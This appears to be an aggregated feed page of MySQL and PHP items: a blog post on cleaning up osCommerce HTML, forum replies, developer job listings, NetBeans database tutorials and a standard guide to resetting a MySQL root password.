Yep, they're not just doing the same test over and over, but they're doing the same high-cost test over and over. Now, I ain't no PHP guru, but I'd'a thunk that doing the test once and setting a flag variable based on the result, then basing your conditionals on the flag woulda been the way to go. But what do I know? The last time I did anything in PHP, Rasmus Lerdorf was still in Toronto and PHP stood for "Personal Home Page Tools".

So the code that I once thought not too bad (if one ignored the HTML) goes from being the backbone of my project to a mere sketch of the functionality that I'll need. I'll grant that it works, but merely working is not enough. This thing does "thumbnails" by setting the width and height attributes on full-sized images (when PHP can easily do image resizing/resampling — not fast enough to create them on the fly, but they can be created and stored when the big image is uploaded and modified when the application is reconfigured). Even the database schema needs help (said the Notes guy), and so I'll need to include a conversion utility with the "installer". I kinda feel like Mike Holmes (of Holmes on Homes, whose claim to fame is fixing criminally shoddy home renovation work).

I've got a lot more work to do, but at least I can take some pride in what I'm doing. Shouldn't we all?


          Let's see ... where were we?   

Well, it seems I'm starting to get some of my smarts back. There's still the occasional bad day, but things are nowhere near where they were just a couple of months ago. The biggest problem now is an annoying tremulousness, but it's nothing I can't learn to live with.

Anyhow, I'm at the point where I can start to take on the occasional bit of work. Unfortunately, that work probably won't have a whole lot to do with Notes or Domino for a while — my health isn't yet good enough to take on the challenges of all-day, every day slogging, so I kinda have to stick to the world of lower expectations for a while yet. These days, I'm busy building online stores with PHP and mySQL. In a way, I'm glad for the opportunity to work on a different platform. It gives me the chance to see for myself that Domino developers, as a class, are not the only ones ignoring web standards for the sake of convenience.

This new adventure started when I was asked to set up a small site using the osCommerce open-source online store package. I thought it was going to be the proverbial piece of cake — FTP the package up, run the database installer to create the mySQL tables, configure some images and colours — right up until the point where I examined the underlying HTML. Don't get me wrong. The overall quality of the osCommerce package is pretty good, at least as far as the PHP and database code goes. But, my God(!) the HTML makes me shiver.

One of the things I was asked to do for the first site was to see about driving traffic to the site. That ain't gonna happen with code like this unless the site's owner is willing to pay HUGE for something like AdWords. There is nothing in the HTML to make the page discoverable. Tables control the layout, font settings are used to create headlines and such, bare-naked images are used to convey information to sharp-eyed users. Sound familiar? At least Domino developers have Designer WYSIWYG and Notes client coexistence as excuses. There's nothing like that here — the guys (and, perhaps, gals) who built osCommerce are developing exclusively for the web (and, being Open Source wonks, are probably using emacs or vi to do it all). Dammit, everybody ought to know better by now.

HTML is a text markup language, not a display description language. If your work tells the browser what the page looks like but never quite gets around to telling it what it means, then, as a developer or designer, you haven't really done your job. Yahoo! can't tell what the text you rendered into your logo image says, and it doesn't give extra importance to the alternate text no matter how big the picture of the words is. Google doesn't care much which words are rendered as 18 point bold text. Both do pay a lot of attention to the words inside your <h1> tags. Do I really have to bring up the visually impaired user again?

So that leaves me creating a "derivative work" under the GPL, re-writing significant parts of an open-source project for fun and profit. At least I hope there'll be some profit in it. Between cleaning up the HTML, making all of the data discoverable, adding RSS feeds for new products and specials, and eliminating scads of conditional code used to support PHP3 (think R4.5 in the Domino world), there's more than enough work here for me to do for now. And, need one say, more than customer number one can be expected to bear the cost of alone, so I've gotten another couple of pigeons lined up as well. "Template" pricing seems to be the order of the day in this world, so I've got to sell the work more than a couple of times to make it pay for itself. Luckily, the end result — clean, semantically-valid HTML and a versatile set of basic CSS layouts — mean that future sales will be a little bit more profitable. And, while the GPL (and, let's face it, the very nature of PHP) requires that I give them the source code, these aren't folks who are likely to modify or redistribute my work. I mean, these are people who are hiring a semi-disabled, self-taught, mostly-Domino-dedicated and kinda worn-out looking fellow like myself to create their killer online commerce sites. What are the chances that they're hiring out work they could have done for themselves?


          外部にSQLサーバーがある以上、1.はともかく…   

外部にSQLサーバーがある以上、1.はともかく、2.をやろうとする場合は、別途フロントエンドを用意するしかないです。

MySQLであれば、かねやんMySQLAdminで、SQLの結果をCSVに出来た気がします。

もしくは、PHPかCGIでブラウザ経由ですかね。


          Comment on mySQL Delimiters by How to: Hidden Features of MySQL | SevenNet   
[…] You have to use a delimiter (the default is ‘;’) to demarcate the end of a statement – Link […]
          Comment on On Distributed Development by Sreeram   
Hi, Sorry for contacting you this way. I was wondering if you would be interested in reviewing http://ubiq.co for your readers. It is a new web based MySQL reporting tool I’ve built. Happy to provide extended free usage to your readers. Just use promo code ‘goubiq’ to get 2 months free usage.
          Web-Entwickler (PHP, AJAX, .NET, MySQL)   
IHRE AUFGABEN Sie entwickeln in angenehmer Arbeitsatmosphäre in jungen und lockeren Teams Lösungen für unsere Standardprodukte im Telekommunikations- und CallCenter-Bereich. Die Aufgaben reichen vom Design der Datenbank über die Definition von Schnittstellen bis zur Implementation der Benutzeroberflächen. Themenbereiche sind Konfigurations-, Reporting und Monitoring-Applikationen sowie die Betreuung unseres Intranets und Internetauftritts. Je nach Qualifikation und Ihren persönlichen Wünschen übernehmen Sie Verantwortung für eigenständige Projekte und die Konzeption neuer Lösungen und Technologien. Sie haben auf Wunsch die Möglichkeit, als Teamleiter Ihre fachliche und soziale Kompetenz unter Beweis zu stellen und 'Ihr Team' zum Erfolg zu führen. Sie arbeiten ständig mit modernster Technologie und beeinflussen durch eigenes Engagement die gesamte Produktentwicklung - von der Idee über die Projektion bis zur Realisierung und Wartung. Ein kreatives Denken und eine logische Arbeitsweise werden von Ihnen ebenso erwartet wie die Bereitschaft, ständig Neues zu erlernen. UNSERE ANFORDERUNGEN - abgeschlossenes Studium der Informatik oder vergleichbare Berufserfahrung · Kenntnisse in PHP und/oder ASP.NET, Datenbanken (MySQL, MS SQL), Client-Server- und Internet-Technologien · Grundkenntnisse HTML, Javascript und CSS werden vorausgesetzt · Kenntnisse in Flash, WebServices und AJAX von Vorteil · Sie sind team- und kritikfähig · Freude an der Realisierung eigener Ideen, Kreativität und eigenständige, teamorientierteArbeitsweise · Ausserdem sind Sie flexibel und belastbar · Gute bis sehr gute Deutsch- und Englischkenntnisse (weitere Sprachen sind vorteilhaft) UNSERE LEISTUNGEN Als Mitarbeiter in einem jungen und hochmotivierten Team in modernster DV-Umgebung erhalten Sie verantwortungsvolle Aufgaben mit individuellem Gestaltungsspielraum. Sie arbeiten in angenehmer Atmosphäre mit neuesten, interessanten Technologien. Sie erhalten eine ausbaufähige Position bei flexibler Arbeitszeitgestaltung und einem leistungsbezogenen Gehalt.
          Little NetBeans IDE 6.1 Beta   


The NetBeans IDE is a modular, standards-based, integrated development environment (IDE) written in the Java programming language. The NetBeans project consists of an open source IDE and an application platform, which can be used as a generic framework to build any kind of application.

Noticed Favorite Features....

* JavaScript;

o Semantic Highlighting

o Code Completion and Type Analysis
tutorial on official site

* Performance Enhancements;

o Up to 40% faster startup


* New MySQL Support in Database Explorer

o Register MySQL servers

o View, create, and delete databases

o Easy launch of the administration tool for MySQL

* Java Beans;

o Bean Patterns in Navigator

o Generate Bean Property

o BeanInfo Editor
          Setting up a JDBC Connection Pool   
In order to specify how the web server allows an application to communicate with the database, we need to set up a database connection pool. A database connection pool is basically a group of reusable connections that a server maintains for a specific database. Web applications requesting a connection to a database obtain that connection from the pool. When an application closes a connection, the connection is returned to the pool.

In order to set up a connection pool on the server, a JDBC resource (also called a data source) must first be created. A JDBC resource provides applications with a connection to a database. Depending on whether you're using Tomcat or SJSAS, do the following:


see more here
          Creating a connection to a Database:   
1. In the Services window choose 'Connect Using' from the right-click menu of the driver you just added. The New Database Connection dialog opens. see.....

2. In the Basic Setting tab, enter the Database's URL in the corresponding text field. The URL is used to identify the type and location of a database server. In this example, you need to specify the host name (i.e. the location of the server), the port number on which the database communicates, and the name of the database instance being used. In this case you can enter: jdbc:mysql://localhost:3306/MyNewDatabase
3. For User Name and Password, enter root, and nbuser respectively:

New Database Connection dialog containing connection details
4. Click OK, then click OK again to exit the dialog. A new Connection node displays in the Runtime window's Database explorer under the Databases node:

new connection node displayed in database explorer

You are now connected to MyNewDatabase in the IDE. Note that the new connection node icon appears whole when you are connected to a database. Likewise, it appears broken when there is no connection.

At later stages, when working with databases through the Database explorer, you may need to manually connect to a database. You can do so by right-clicking the broken database connection node and choosing Connect.
          Registering the Database in NetBeans IDE   
Now that you have the database server installed and configured, and have created a new database, you can register the MySQL server in NetBeans IDE. Begin by examining the functionality offered by the Database explorer located in the IDE's Runtime window (Ctrl+5). The Database explorer is represented by the Databases node (database node icon). From this interface you can connect to databases, view current connections, add database drivers, as well as create, browse or edit database structures.

You can use the Database explorer to register MySQL in the IDE. There are two simple steps that need to be performed:

1. Adding the Driver to the IDE
2. Creating a Database Connection

Adding the Driver to the IDE

In order to allow NetBeans IDE to communicate with a database, you need to employ a Java-based driver. Generally speaking, drivers in NetBeans IDE use the JDBC (Java Database Connectivity) API to communicate with databases supporting SQL. The JDBC API is contained in the java.sql Java package. A driver therefore serves as an interface that converts JDBC calls directly or indirectly into a specific database protocol.

In this tutorial, you are using the MySQL Connector/J driver, which is a pure Java implementation of the JDBC API, and communicates directly with the MySQL server using the MySQL protocol. To add the driver to the IDE:

1. If you have just downloaded the driver, first extract it to a location on your computer. Set the root directory to: C:\mysql-connector-java-5.0.5.
2. In the IDE, in the Database explorer from the Runtime window (Ctrl+5) expand the Databases node and right-click the Drivers node. Choose New Driver. The New JDBC Driver dialog opens.
3. Click the Add button in the top right corner. Navigate to the driver's root directory and select the driver's jar file (e.g. mysql-connector-java-5.0.5-bin.jar). Click Open. The New JDBC Driver dialog should look like this:

New JDBC Driver dialog containing driver details
4. Click OK. In the Runtime window expand the Databases > Drivers nodes and note that a new MySQL driver node is displayed:

new driver node displayed in database explorer

Note: While you just made the database driver available to the IDE, you have not yet made it available to any specific application. At this stage, you can use the IDE to access and modify the database, but cannot do so from an application yet.


***********more at netbeans official site
          Setup your own Email Server   

Today I will be writing about how to set up your own email server. You will need the following build for your server Linux OS – Ubuntu 14.04 Apache 2 MySQL Database PHP 5 Root Access This guide shows you how to set up a secure mail server with Postfix, Dovecot, and MySQL. By the […]

The post Setup your own Email Server appeared first on Website Design.


          Senior PHP Developer / ReThink Recruitment / Edinburgh, Midlothian, United Kingdom   
ReThink Recruitment/Edinburgh, Midlothian, United Kingdom

Salary: £35,000 to £50,000 - Edinburgh

Senior PHP Developer

A fantastic opportunity for a Senior PHP Developer to work for a modern, growing company which specialises in the development of software and hardware solutions for the vehicle salvage and vehicle dismantling industries.

My client is looking for a talented and enthusiastic senior web developer to join their web team and take lead on several projects. Also, you will be expected to help the team continue the development and maintenance of all our other web projects as needs require. There is a wide variety of website work in the team and we write and develop all our own code.

The company is based in a modern office building in South Gyle, Edinburgh which is easily accessible by bus, car, tram and train.

You will have knowledge of:

3+ Years Developing PHP

MySQL, LAMP Stack

HTML, CSS, Javascript, jQuery, AJAX, JSON

Adobe Dreamweaver (or other editor)

Microsoft Office (Outlook/Word/Excel/etc)

Knowledge of the following will be beneficial:

Responsive web design (Bootstrap)

Cloud technology (Amazon AWS), S3, SES

SSL/HTTPS

Native Android for Phones and Tablets (Java)

Adobe Illustrator, InDesign, PhotoShop

Linux command line

Servers, Virtual Servers, Basic Networking

SVN, Source Control

23 Days Holiday + Bank Holidays

Employment Type: Permanent

Pay: 35,000 to 50,000 GBP (British Pound)
Pay Period: Annual

Apply To Job
          PHP Developer / Explore Group / Manchester, Lancashire, United Kingdom   
Explore Group/Manchester, Lancashire, United Kingdom

Looking for a trendy new role in Manchester?

An award-winning, fashion E-commerce company is looking for you - a motivated and passionate PHP Developer who is willing to learn and excel in their career. From a huge business growth spanning from only a few years, you will be involved in helping the business grow further.

Everyday tasks:

Being involved in a Middleware development team, you will be working on new and current existing web applications, and the quality of the code must be at a high standard. Being a team player is a must, as you will be working alongside other teams across the development department. You will also be working on a range of exciting projects with a bunch of talented developers, what more could you want?

A bit about you:

You have commercially worked with PHP, but you are looking to broaden your knowledge and progress in your career. High motivation is a key in this role, and will give you the career progression you're after!

What do you need?:

PHP

MVC Frameworks

Object Oriented Programming

MySQL

AWS

What's in it for you?:

You will be provided with an excellent opportunity to expand your skill set, and the chance to work with some great developers. Also included is a great salary and benefits package, social events with colleagues, and a wicked discount on clothes!

If you would like to discuss the opportunity further, please contact me (Catherine Green) by email (see below) or telephone.

If this is the opportunity for you, apply away!

Employment Type: Permanent

Pay: 25,000 to 35,000 GBP (British Pound)
Pay Period: Annual

Apply To Job
          PHP Developer / Proactive Appointments / Guildford, Surrey, United Kingdom   
Proactive Appointments/Guildford, Surrey, United Kingdom

Our client are looking for a talented PHP Developer to join their expanding Development Team(comprising of PHP and Front End developers).

As a key member of an agile team, you will be responsible for producing clean, scalable and

maintainable code in order to grow our bespoke eCommerce platform.

Responsibilities

Work as part of an agile development team

Create clean, maintainable, well thought out code

Design, deliver, test, and maintain new features

Build upon and improve the existing code base

Essential Skills and Experience:

OO PHP 5.6+

Linux Shell

MySQL

MVC Framework experience (eg Zend Framework 2, Symfony, Laravel etc.)

Version control (preferably Git)

Strong written and verbal communication skills

Comfortable operating in a loosely structured and agile organisation

Self-starter

Desirable Skills and Experience

Composer

HTML5

CSS

Javascript

Redis

Mongo

Elasticsearch

Node.js

Scrum

PHPUnit

Due to the volume of applications received for positions, it will not be possible to respond to all applications and only applicants who are considered suitable for interview will be contacted.

Proactive Appointments Limited operates as an employment agency and employment business and is an equal opportunities organisation.

Employment Type: Permanent

Apply To Job
          PHP Developer (PHP/OO/MCV) - Bristol - £45,000 - £50,000 / Sanderson Recruitment Plc / Bristol, Somerset, United Kingdom   
Sanderson Recruitment Plc/Bristol, Somerset, United Kingdom

PHP Developer (PHP/OO/MCV) - Bristol - £45,000 - £50,000

My client, a well established IT Services company, based in Bristol are seeking 3 experienced PHP Developers to join a vibrant and dynamic team. You will be playing an active part in the companies IT Development Team in cutting edge PHP development projects.

The team currently stand at 13 members who work within an agile environment and should have strong problem solving skills, be able to understand technical briefs and develop innovative solutions for their customers.

Responsibilities:

Development of Object Oriented PHP web applications for customer facing systems

Take an active role within the full development process

Development of both internal and external OO PHP systems

Development and maintenance of MySQL databases for use in external and internal systems

Testing of PHP web applications

Essential skills:

PHP and MySQL development, with an Object Orientated approach.

Experience of an MVC framework. (Laravel/Symfony is advantageous but not essential)

A good understanding of database development and administration of MySQL

HTML, XML, CSS and JavaScript

Other Skills Needed:

Good interpersonal skills

Good problem-solving skills and the ability to resolve issues

Excellent communication skills bother written and verbal

A real team player

If this is the right role for you then please get in touch with Hassan Lenga-Kroma at Sanderson Recruitment or email (see below)

PHP Developer (PHP/OO/MCV) - Bristol - £45,000 - £50,000

Employment Type: Permanent

Pay: 45,000 to 50,000 GBP (British Pound)
Pay Period: Annual

Apply To Job
          PHP Developer / Parity Professionals / Southport, Lancashire, United Kingdom   
Parity Professionals/Southport, Lancashire, United Kingdom

PHP developer - Southport - Up to £40,000

Do you have a passion for creating software that impresses users beyond their expectations?

Join a dynamic team who does just that!

Opportunity for a Junior/Midlevel PHP Developer looking do develop already establish skill amongst the leaders in the development industry.

Experience:

PHP

MySQL

PHP MySQLi

jQuery

AJAX

RESTful API Development

HTML/CSS

Android/iOS Development

If interested apply NOW !

Parity Professionals - Source, Develop, Transform

Parity Professionals Ltd acts in the capacity of an Employment Agency when providing permanent recruitment services.

Employment Type: Permanent

Pay: 30,000 to 40,000 GBP (British Pound)
Pay Period: Annual

Apply To Job
          PHP Webentwickler (m/w) in Köln gesucht (bis zu 75k) / Ardekay IT Recruitment / Köln, Nordrhein-Westfalen, Germany   
Ardekay IT Recruitment/Köln, Nordrhein-Westfalen, Germany

Welche spannenden Aufgaben erwarten Dich in Köln? Dich zeichnet die Entwicklung im Bereich PHP aus? Deine beruflichen Erfahrungen können sich blicken lassen? Du entwickelt bereits seit mindestens 2 Jahren mit PHP, JavaScript und MySQL? Dann freue ich mich dir deine zukünftigen Aufgaben zu erläutern. Du entwickelst und implementierst komplexe Web Applikationen sowie du weitere Applikationen optimierst beziehungsweise erweitern wirst. Bei der Frontend Entwicklung arbeitest du mit den Basis Technologien HTML5, CSS3 und JavaScript. Anforderungsanalysen und Aufwandschätzungen sind für dich kein Problem und erledigst du stets gewissenhaft. Du hast bereits Erfahrungen mit dem Testing, der Wartung und der Weiterentwicklung von Web Applikationen. Wenn du dir deine zukünftigen Aufgaben genau so vorstellst dann freue ich mich auf deine Bewerbung. Was dir geboten wird? * Weiterbildungen & regelmäßige Schulungen sowie Englischkurse * Mitarbeiter Vergünstigungen von mindestens 100 Shops * Diensthandy bei Bedarf * Mietwagen bei Bedarf für Kundentermine * Getränkeflatrate & Obst * Ein 13. Monatsgehalt * Flexible Arbeitszeiten & Homeoffice nach Absprache Was bringst du mit? * Erfolgreich abgeschlossenes Studium (Informatik) oder gleichwertige Qualifikation * Sicherer Umgang mit PHP, MySQL, JavaScript, CSS3, HTML5 & XML * Kenntnisse in Ajax, REST & Oracle von Vorteil * Erfahrungen mit agilen Arbeitsmethoden Dein potenzieller Arbeitgeber Dein zukünftiger Arbeitgeber ist ein Dienstleistungsunternehmen welches International tätig ist und über mehrere Niederlassungen in Deutschland verfügt. Du würdest in einem Unternehmen arbeiten die regelmäßige Mitarbeiterbefragungen durchführen, um das Wohlbefinden jedes Mitarbeiter zu ergründen. Du würdest an vielfältigen Kundenprojekten teilnehmen sowie du fachspezifisch gefördert wirst und dich somit stetig weiterentwickelst. Du arbeitest regelmäßig im Team, hast flexible Arbeitszeiten ein sogenanntes Gleitzeitmodell und erhältst dabei noch Mitarbeiter Vergünstigungen bei insgesamt 100 Online Shops. Falls du zum Kunden raus fährst, hast du Anspruch auf einen Mietwagen oder auf Fahrtkosten sowie du bei Bedarf ein Diensthandy generierst. Wenn du überzeugt bist und eine Chance bei unserem Klienten wahrnehmen möchtest, zögere nicht und schick mir deine BEWERBUNG. Mehr Infos? Der Job entspricht deinen Vorstellungen und du kannst es kaum abwarten dich auf die Stelle zu bewerben? Dann SENDE mir gleich deine Bewerbungsunterlagen an . Ich unterstütze dich gerne während des vollständigen Bewerbungsprozesses! Telefonisch kannst du mich erreichen unter der (0).

Employment Type: Festanstellung
Work Hours: keine Angabe

Apply To Job
          Senior Web Developer (PHP) / Visionaire Partners / Atlanta, GA   
Visionaire Partners/Atlanta, GA

Senior Web Developer (PHP)

Exciting opportunity to work with a worldwide company as a Web Developer on a highly visible digital project seen by millions.

This is an incredible opportunity to be in a hands-on development position where you will be working on large scale, high-visibility digital, web and mobile web sites and apps. You will be a key technical resource in this high-profile project. In this role, you will contribute heavily to new and existing development and have the opportunity to learn new technologies.

The ideal web developer will understand web development practices including client and Server Side implementations, browser-to-server page rendering behaviors, web caching, page speed optimization and regular expression usage. Experience with Drupal 8 and working in a AWS cloud environment is preferred, but not required. This is a one of a kind opportunity for a true, passionate technologist to research and learn fresh technologies.

If you're a passionate problem solver this could be the next step in your career! This is a hands-on development position where you will have the opportunity to own your work during the full SDLC from requirements, coding, testing, peer reviews, documentation, deployment and post-launch support and improvement.

This is a 9 month contract position in Atlanta, GA with a leading digital media company. In this stellar web development position, you will have the opportunity to work on a cutting edge team working with the latest open source technologies. Excellent team, environment, benefits and flex hours.

REQUIRED SKILLS:

4+ years of web development experience

3+ years PHP development

PREFERRED SKILLS:

Experience with at least one of the following (Drupal OR related Open Source CMS OR an object-oriented PHP framework)

Drupal (Preferably Drupal 8)

Experience with responsive web design

AWS

Custom Module Development

Experience working with large-scale, high-visibility websites

HTML, CSS, AJAX, JavaScript and/or XML/JSON

MySQL

Agile

Mobile

GitFlow

Agile

Employment Type: Contract

Apply To Job
          Software Developer 2 - Lawrence Berkeley National Laboratory - Berkeley, CA   
Experience with SQL (such as MySQL and postgres) or NoSQL databases (such as MongoDB, Lucene, SOLR or ElasticSearch)....
From Lawrence Berkeley National Laboratory - Tue, 13 Jun 2017 22:58:55 GMT - View all Berkeley, CA jobs
          Senior Software Engineer - Partner Platform - Netflix - Los Gatos, CA   
RDS(MySQL, Postgres), Redis, MongoDB, Couchbase, Cassandra and database optimization. Netflix runs its applications across a diverse range of devices including:...
From Netflix - Fri, 31 Mar 2017 09:07:27 GMT - View all Los Gatos, CA jobs
          Web Application Engineer - Apple - Santa Clara Valley, CA   
Relationship Database experience with SQLite, MySQL, Postgres or Oracle is a plus. Are you passionate about writing beautiful code and test-driven development?...
From Apple - Thu, 01 Jun 2017 00:29:17 GMT - View all Santa Clara Valley, CA jobs
          Data Engineer - Human Interface Devices - Apple - Santa Clara Valley, CA   
Practical experience with Hadoop and/or Spark and extensive experience w/ SQL and NoSQL databases (MySQL, Postgres, MongoDB, Cassandra, HBase, etc)....
From Apple - Sat, 20 May 2017 00:24:07 GMT - View all Santa Clara Valley, CA jobs
          Комментарий к записи MySQL одновременный SELECT и UPDATE при работе с одной таблицей (Ринат)   
скажите а как сделать чтобы форма была скрыта для пользователей до оплаты
          Paging in MySQL Command-Line Client   
By default MySQL command-line client wraps lines in a SELECT query result and has no paging. You can solve both these problems by using the less command available in Unix/Linux systems. Entering the following command in MySQL command-line client will do the trick: The pager command lets you select a program to use as a […]

          Checking gzip Compressed tar Files   
I wrote this very simple bash script to check the gzip compressed tar files generated by cPanel’s backup. It attempts to extract each file individually to /dev/null and emails a list of the ones that were not extracted successfully. Lines 8 through 17 loops through the files in the current directory with a .gz extension […]

          Recover MySQL root Password   
article sourcelink
Recover MySQL database server password with following five easy steps.

Step # 2: Start the MySQL (mysqld) server/daemon process with the –skip-grant-tables option so that it will not prompt for password.Step # 1: Stop the MySQL server process.
Step # 3: Connect to mysql server as the root user.
Step # 4: Setup new mysql root account password i.e. reset mysql password.
Step # 5: Exit and restart the MySQL server.
Here are commands you need to type for each step (login as the root user):

Step # 1 : Stop mysql service

# /etc/init.d/mysql stop
Output:
Stopping MySQL database server: mysqld.

Step # 2: Start to MySQL server w/o password:

# mysqld_safe --skip-grant-tables &
Output:
[1] 5988
Starting mysqld daemon with databases from /var/lib/mysql
mysqld_safe[6025]: started

Step # 3: Connect to mysql server using mysql client:

# mysql -u root
Output:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 1 to server version: 4.1.15-Debian_1-log

Type 'help;' or '\h' for help. Type '\c' to clear the buffer.

mysql>

Step # 4: Setup new MySQL root user password

mysql> use mysql;
mysql> update user set password=PASSWORD("NEW-ROOT-PASSWORD") where User='root';
mysql> flush privileges;
mysql> quit

Step # 5: Stop MySQL Server:

# /etc/init.d/mysql stop
Output:
Stopping MySQL database server: mysqld 
STOPPING server from pid file /var/run/mysqld/mysqld.pid
mysqld_safe[6186]: ended

[1]+ Done mysqld_safe --skip-grant-tables

Step # 6: Start MySQL server and test it

# /etc/init.d/mysql start
# mysql -u root -p

          (USA-NH-Dover) Senior Systems Administrator   
Sr. Systems Administrator, Application Technology Services Liberty Mutual Technology Group, Inc. is seeking a Sr. Systems Administrator, Application Technology Services to work in Dover, NH and be responsible for systems administration, operational support & problem resolution for large systems. Duties include: Perform hardware & software installation & upgrades; Monitor system performance & capacity & report changes in usage; Forecast system demands, recommend upgrades, expansion & reconfiguration; Troubleshoot hardware & software problems & take corrective action; interact with IT staff or vendors to perform testing, support & troubleshooting; Document standards & operating procedures; Serve as technical resource to IT staff & systems users; Lead projects or subprojects including developing project plans, assigning tasks & facilitating team process; Depict ideas, issues & designs to varied audiences; Deploy solutions to production environment under direction of Architecture team; Monitor application performance to determine whether adjustments/changes need to be made; Work with Application Developers & Enterprise Architects to assist in environmental troubleshooting & configuration of new applications; Perform daily system monitoring, verifying integrity & availability of hardware, server resources, systems & key processes, reviewing system & application logs; Perform installation & configuration of core application technologies (IIS, WebSphere, Apache, Cognos, IBM BPM, API Management, Gateway Appliances, & other IBM, Oracle, RedHat, IBM, & Vendor technologies & Web Server technologies: Microsoft IIS server, Tomcat, Unix/Linux Apache server; Install & configure ODBC & JDBC drivers for different databases: Teradata, Oracle, DB2, Mysql); Install/configure SQR (Hyperion Structured Query Reporting); Develop scripts to perform administrative tasks & automate job; Install/configure Tableau Business Intelligence tool; May telecommute from any home office in the U.S. Minimum requirements: Bachelor’s degree in Computer Science, Engineering or related technical discipline plus 5 years’ experience in systems operation & administration. Experience must include: 2 years’ experience with operating environment - technologies including mainframe, midrange, desktop, server, network data, voice, messaging, & web; 2 years’ experience upgrading SAP Business Objects software in a large enterprise environment (version include: XIR2 to XIR3); 2 years’ experience with system administration with UNIX, Linux & Windows; 2 years’ experience working with customers & internal stakeholders to determine requirements; 2 years’ experience performing SAP Business objects administrative tasks to include security setup, CMS Tuning for SAP Business objects XIR2, XIR3.1 & BI4; 2 years’ experience administering, configuring, tuning, & maintaining Cognos BI 10, 11 in Dev, Test, & Production environments; 2 years’ experience in support, installation, configuration & maintenance of WebSphere Application Server (ND), WebSphere Portal Server (ND), WebSphere HTTP Server, Tomcat Application Server, Apache & IIS; 2 years’ experience with IBM MQ Administration, Maintenance, Deployment, & Integration including Installation & Configuration of WebSphere MQ Series 6.x,7.X; 2 years’ experience with IBM BPM to include providing system aspects for installing, configuring, & running day-to-day maintenance; 2 years’ experience with CA Siteminder to include integrating web applications with Single Sign On, setting up SAML federated services, setting up Authentication Schemes like FORM based, configuring Single Sign using TAI (Trust Association Interceptor) for WebSphere Application Server & WebSphere Portal, configuring Domains, user directories, Rules, Realms, Responses & Policies for Policy server; May telecommute from any home office in the U.S. Benefits: We recognize that talented people are attracted to companies that provide competitive pay, comprehensive benefits packages and outstanding advancement opportunities. For this reason we offer a Comprehensive Benefits Plan that includes the following: •401K and Company paid pension plan •Medical coverage •Dental coverage •Paid time-off •Pay-for-Performance •Discounts on automobile and homeowner's insurance •Discount fitness memberships •Flexible spending accounts •Tuition reimbursement •Vision care coverage •Work/Life resources •Credit Union membership •Employee and Dependent life insurance •Disability insurance •Accidental death & dismemberment insurance Overview: We believe strongly that commercial success can be achieved in a manner consistent with principles and ideals that bind us together as one company, that set us apart from our competitors, and that in the end will allow us to say we have succeeded commercially by doing the right thing the right way. We believe that the Company's success is inextricably linked to our employees' satisfaction and success: satisfaction that they work for an industry leader committed to improving safety, satisfaction that they work for a company that does the right thing, and satisfaction that the company will reward them for their contributions and provide opportunities for personal growth and success. We believe our employees take pride in knowing that they help people live safer more secure lives every day. **Job:** **Technology* **Title:** *Senior Systems Administrator* **Location:** *NH-Dover* **Requisition ID:** *86882*
          Problem mit WordPress 2.0.6 und Feedburner   
Seit dem Update auf Version 2.0.6 mag Feedburner meinen Feed von Zeit zu Zeit nicht mehr: FeedBurner had trouble retrieving your Source Feed: […] The error message is: “Your server disconnected us before sending the full source feed content.” Das Problem liegt in der Behandlung von HTTP-Status-Werten, die beim Aufrufen des Feeds zurückgegeben werden. Eine genauere Fehlerbeschreibung und Lösung/Patches gibt es (auf englisch) hier. Leider ist auch in der neuen Version immer noch nicht das Problem behoben worden, dass die MySQL-Verbindung nicht äber UTF-8 läuft, was hässliche Zeichen statt Umlauten etc.
          Jede Minute eine Kaffeemaschine bei eBay   
Bei eBay kann man diese Woche jede Minute eine Kaffeemaschine gewinnen, wenn man eine Frage als erster richtig beantwortet… Und dann passiert so was: Warning: mysql_connect(): Can't connect to MySQL server on '192.168.100.123' (4) in /var/www/dmd/clsDatabase.php on line 2034 Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/dmd/clsDatabase.php on line 2244 Warning: mysql_connect(): Can't connect to MySQL server on '192.168.100.123' (4) in /var/www/dmd/clsDatabase.php on line 2034
          Lập Trình Viên - Tập Đoàn Điện Lực Evn   
Hà Nội - - Lập trình các giải pháp thông tin cho người sử dụng bằng cách phát triển, triển khai, và bảo trì các phần mềm bằng C# hoặc Java - Làm... về các ngôn ngữ lập trình, công nghệ lập trình: .Net hoặc Java. - Thành thạo ít nhất 01 trong các hệ quản trị CSDL: MS SQL Server, Oracle, MySQL...
          Lynda.com: PHP with MySQL Essential Training: 1 The Basics   
PHP is a popular programming language and the foundation of many smart, data-driven websites. This comprehensive course from Kevin Skoglund helps developers learn to use PHP to build interconnected webpages with dynamic content which can pass data between pages. Learn how PHP can simplify the creation of forms, read and validate form data, and display errors. Kevin also covers the fundamentals of MySQL and how to use PHP to efficiently and securely interact with a database to store and retrieve data. Throughout the course, he provides practical advice and offers examples of best practices.
          Lynda.com: PHP with MySQL Essential Training: 2 Build a CMS   
This course—the second installment in a series—builds on the fundamentals of PHP with MySQL and teaches the intermediate concepts necessary to develop real-world web applications while creating a working content management system. Kevin Skoglund shows how to create dynamic navigation to allow public users to browse different pages of database-driven content. He demonstrates how to hide content from the public and to write functions which are context-sensitive and use argument options for conditional behavior. He shows how to implement user authentication and utilize PHP's built-in password functions to securely regulate page access. Finally, he shows how related database tables can become nested resources by modifying and scoping functions. Along the way, Kevin provides practical advice and offers examples of best practices.
          Using PHP5-FPM With Apache2 On Ubuntu 11.10   

This tutorial shows how you can install an Apache2 webserver on an Ubuntu 11.10 server with PHP5 (through PHP-FPM) and MySQL support. PHP-FPM (FastCGI Process Manager) is an alternative PHP FastCGI implementation with some additional features useful for sites of any size, especially busier sites.


          Running ownCloud3 On Nginx (LEMP) On Debian Squeeze/Ubuntu 11.10   

This tutorial shows how you can install and run ownCloud3 on a Debian Squeeze or Ubuntu 11.10 system that has nginx installed instead of Apache (LEMP = Linux + nginx (pronounced "engine x") + MySQL + PHP).

read more


          Command MySQL ผู้ดูแลระบบ   
Command MySQL ผู้ดูแลระบบ

วันนี้ขอเขียนเกี่ยวกับ MySQL บ้างครับ เพราะวันนี้ได้ติดตั้ง MySQL Version ใหม่บน RedHat Enterprise 3 เลยได้โอกาสในการทบทวนความรู้ของ mysql ด้วย เพราะนานมากแล้วครับที่ไม่ค่อยได้ยุ่งเกี่ยวกับ mysql เลย วันนี้ผมขอรวบรวม command line ที่ควรทราบเบื้องต้นครับ เล็กๆน้อยๆก่อนครับ วันหลังมีเวลาหรือได้ศึกษาเพิ่มเติมจะเข้ามาเขียนเพิ่มเรื่อยๆครับ อย่างน้อยผมคิดว่าสามารถเปิดมาดูได้ เวลาปฏิบัติงาน

